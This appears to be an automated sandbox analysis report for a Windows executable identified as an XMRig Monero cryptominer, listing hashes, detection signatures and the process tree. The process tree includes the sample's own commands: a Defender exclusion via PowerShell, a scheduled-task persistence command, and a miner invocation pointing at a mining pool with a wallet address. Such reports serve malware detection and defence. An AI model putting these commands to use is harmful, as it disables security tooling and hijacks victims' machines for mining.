Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
27/12/2022, 10:29
Static task
static1
General
-
Target
e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
-
Size
2.7MB
-
MD5
ea63a5502a59050d85dc9f162540a475
-
SHA1
1826f54a746e1170a5c08b2f02112f4df03e0d06
-
SHA256
e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f
-
SHA512
b1bf083160ac38f43f8d12ee17860d76ebd446520ec2aa14f5a5245df5fa0d29b9f763d843f938e703a4966199dab19787626cdb647330234dad5bc158efabf6
-
SSDEEP
49152:ZjLGLxbmMkZSipMKC76+De6jK31EhC0+kF7LtS6wI7q6zrGuRvu:ZjLG+SSlCglcCLkFnq6Gn
Malware Config
Signatures
-
XMRig Miner payload 6 IoCs
resource yara_rule behavioral1/memory/2184-158-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/2184-157-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/2184-159-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/2184-160-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/2184-162-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/2184-164-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 764 set thread context of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5092 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2036 powershell.exe 2036 powershell.exe 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 664 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe Token: SeDebugPrivilege 2036 powershell.exe Token: SeLockMemoryPrivilege 2184 vbc.exe Token: SeLockMemoryPrivilege 2184 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2184 vbc.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 764 wrote to memory of 2036 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 81 PID 764 wrote to memory of 2036 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 81 PID 764 wrote to memory of 812 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 87 PID 764 wrote to memory of 812 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 87 PID 812 wrote to memory of 5092 812 cmd.exe 89 PID 812 wrote to memory of 5092 812 cmd.exe 89 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92 PID 764 wrote to memory of 2184 764 e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe"C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
PID:5092
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2184
-